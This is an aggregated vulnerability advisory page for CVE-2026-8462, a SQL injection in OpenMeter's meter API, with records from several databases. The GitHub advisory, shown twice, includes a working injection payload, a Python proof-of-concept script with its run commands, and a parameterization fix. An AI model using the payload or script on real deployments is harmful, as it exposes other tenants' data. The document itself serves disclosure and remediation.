OpenMeter SQL Injection in ClickHouse-backed Meter Definitions
cve-program · CVE-2026-8462
PublishedSQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, via crafted user-controlled JSONPath values submitted to meters API.
Read the publisher's advisoryeuvd · EUVD-2026-80392
PublishedSQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, via crafted user-controlled JSONPath values submitted to meters API.
Read the publisher's advisorynvd · CVE-2026-8462
PublishedSQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, via crafted user-controlled JSONPath values submitted to meters API.
Read the publisher's advisoryosv · GHSA-wc3v-3457-c8cm
Published### Summary An authenticated tenant can inject arbitrary SQL through the `valueProperty` or `groupBy` fields of `POST /api/v1/meters`. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data. ### Details `openmeter/streaming/clickhouse/utils_query.go:15` builds a ClickHouse `SELECT` by interpolating user input with `fmt.Sprintf`: ```go sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath))) ``` `sqlbuilder.Escape()` (go-sqlbuilder v1.40.2) only replaces `$` → `$$` to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. `sb.Build()` always returns an empty `args` slice — the query is never parameterized. The payload must be prefixed with a valid JSONPath expression (e.g. `$.foo`) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which `ValidateJSONPath` silently treats as "invalid JSONPath" and returns early — before the injected branch can execute. Working payload: ``` $.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one -- ``` Generated SQL: ```sql SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --' ``` Fix — replace `fmt.Sprintf` string interpolation with `sb.Var()`, which appends the value to the builder's args list and emits a `?` placeholder: ```diff -sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath))) +sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath))) ``` ### PoC `poc.py`: ```python import json, time, uuid from urllib.request import Request, urlopen SLEEP = 3 API = "http://localhost:48888" PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --" def post_meter(value_property): body = json.dumps({ "slug": f"poc_{uuid.uuid4().hex[:8]}", "eventType": "x", "aggregation": "SUM", "valueProperty": value_property, }).encode() req = Request(f"{API}/api/v1/meters", data=body, headers={"Content-Type": "application/json"}, method="POST") t0 = time.monotonic() with urlopen(req, timeout=SLEEP + 10) as r: return r.status, time.monotonic() - t0 _, baseline = post_meter("$.tokens") status, elapsed = post_meter(PAYLOAD) print(f"baseline : {baseline:.3f}s") print(f"injected : {elapsed:.3f}s (HTTP {status})") print(f"result : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}") ``` ```shell docker compose up -d until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done python3 poc.py ``` Expected output: ``` baseline : 0.036s injected : 3.031s (HTTP 200) result : sleep(3) CONFIRMED ``` ### Impact SQL injection via `POST /api/v1/meters` (`valueProperty` or `groupBy`). Requires a valid tenant API key; no other preconditions. The shared `openmeter.om_events` table has no row-level security — a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible. ### Attribution This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research. For CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research
Read the publisher's advisoryosv · GO-2026-5703
PublishedOpenMeter: SQL injection through meter creation in github.com/openmeterio/openmeter
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
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cve-program · CVE-2026-8462
PublishedOpenMeter SQL Injection in ClickHouse-backed Meter Definitions
SQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, via crafted user-controlled JSONPath values submitted to meters API.
- Source published
- 16 Sep 2026 10:14:34 UTC
- Source modified
- 16 Sep 2026 17:46:37 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · 8.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
euvd · EUVD-2026-80392
PublishedSQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, v…
SQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, via crafted user-controlled JSONPath values submitted to meters API.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Sep 16, 2026, 10:14:34 AM
dateUpdated: Sep 16, 2026, 5:46:37 PM
- Source published
- Sep 16, 2026, 10:14:34 AM (timezone not stated)
- Source modified
- Sep 16, 2026, 5:46:37 PM (timezone not stated)
- Saved here
- 11 Nov 2026 17:01:29 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 4.0 · 8.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
nvd · CVE-2026-8462
PublishedSQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, v…
SQL injection in ClickHouse-backed meter definitions in OpenMeter OpenMeter before v1.0.0-beta.228 on all platforms allows a remote unauthenticated attacker to access or modify metering event data, and potentially cause denial of service, via crafted user-controlled JSONPath values submitted to meters API.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Awaiting Analysis
Weakness classifications: CWE-89
Original publisher date fields
published: 2026-09-16T11:17:11.327
lastModified: 2026-09-18T19:07:38.320
- Source published
- 16 Sep 2026 11:17:11 UTC
- Source modified
- 18 Sep 2026 19:07:38 UTC
- Saved here
- 25 Oct 2026 16:19:16 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 4.0 · 02762ae7-200e-4b20-9b2b-a77d5b8fc4cb · Secondary · 8.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
osv · GHSA-wc3v-3457-c8cm
PublishedOpenMeter: SQL injection through meter creation
### Summary An authenticated tenant can inject arbitrary SQL through the `valueProperty` or `groupBy` fields of `POST /api/v1/meters`. The injection passes the application's JSONPath validation check and executes against the shared ClickHouse database, which contains event data for all tenants with no row-level security. Any authenticated tenant can read or write every other tenant's metering data. ### Details `openmeter/streaming/clickhouse/utils_query.go:15` builds a ClickHouse `SELECT` by interpolating user input with `fmt.Sprintf`: ```go sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath))) ``` `sqlbuilder.Escape()` (go-sqlbuilder v1.40.2) only replaces `$` → `$$` to prevent collisions with the library's own argument placeholders. It does not escape single quotes. A single quote in the input closes the string literal, and subsequent tokens execute as raw SQL. `sb.Build()` always returns an empty `args` slice — the query is never parameterized. The payload must be prefixed with a valid JSONPath expression (e.g. `$.foo`) because ClickHouse raises error code 36 (BAD_ARGUMENTS) on an empty JSONPath string, which `ValidateJSONPath` silently treats as "invalid JSONPath" and returns early — before the injected branch can execute. Working payload: ``` $.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one -- ``` Generated SQL: ```sql SELECT JSON_VALUE('{}', '$.foo') UNION ALL SELECT toString(sleep(3)) FROM system.one --' ``` Fix — replace `fmt.Sprintf` string interpolation with `sb.Var()`, which appends the value to the builder's args list and emits a `?` placeholder: ```diff -sb.Select(fmt.Sprintf("JSON_VALUE('{}', '%s')", sqlbuilder.Escape(d.jsonPath))) +sb.Select(fmt.Sprintf("JSON_VALUE('{}', %s)", sb.Var(d.jsonPath))) ``` ### PoC `poc.py`: ```python import json, time, uuid from urllib.request import Request, urlopen SLEEP = 3 API = "http://localhost:48888" PAYLOAD = f"$.foo') UNION ALL SELECT toString(sleep({SLEEP})) FROM system.one --" def post_meter(value_property): body = json.dumps({ "slug": f"poc_{uuid.uuid4().hex[:8]}", "eventType": "x", "aggregation": "SUM", "valueProperty": value_property, }).encode() req = Request(f"{API}/api/v1/meters", data=body, headers={"Content-Type": "application/json"}, method="POST") t0 = time.monotonic() with urlopen(req, timeout=SLEEP + 10) as r: return r.status, time.monotonic() - t0 _, baseline = post_meter("$.tokens") status, elapsed = post_meter(PAYLOAD) print(f"baseline : {baseline:.3f}s") print(f"injected : {elapsed:.3f}s (HTTP {status})") print(f"result : sleep({SLEEP}) {'CONFIRMED' if elapsed >= baseline + SLEEP - 0.5 else 'not confirmed'}") ``` ```shell docker compose up -d until curl -sf http://localhost:48888/api/v1/meters > /dev/null; do sleep 3; done python3 poc.py ``` Expected output: ``` baseline : 0.036s injected : 3.031s (HTTP 200) result : sleep(3) CONFIRMED ``` ### Impact SQL injection via `POST /api/v1/meters` (`valueProperty` or `groupBy`). Requires a valid tenant API key; no other preconditions. The shared `openmeter.om_events` table has no row-level security — a successful injection gives unrestricted read access to all tenants' event subjects, types, payloads, and timestamps. Write access is subject to the ClickHouse user's grants. Denial of service via resource-exhausting queries is also possible. ### Attribution This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Shoshana Makinen at Anvil Secure in collaboration with Anthropic Research. For CVE credits and public acknowledgments: Anvil Secure in collaboration with Claude and Anthropic Research
- Source published
- 4 Jun 2026 18:39:52 UTC
- Source modified
- 25 Jun 2026 23:11:22 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Publisher rating · MODERATE
osv · GO-2026-5703
PublishedOpenMeter: SQL injection through meter creation in github.com/openmeterio/openmeter
OpenMeter: SQL injection through meter creation in github.com/openmeterio/openmeter
- Source published
- 25 Jun 2026 22:34:38 UTC
- Source modified
- 25 Jun 2026 23:01:28 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.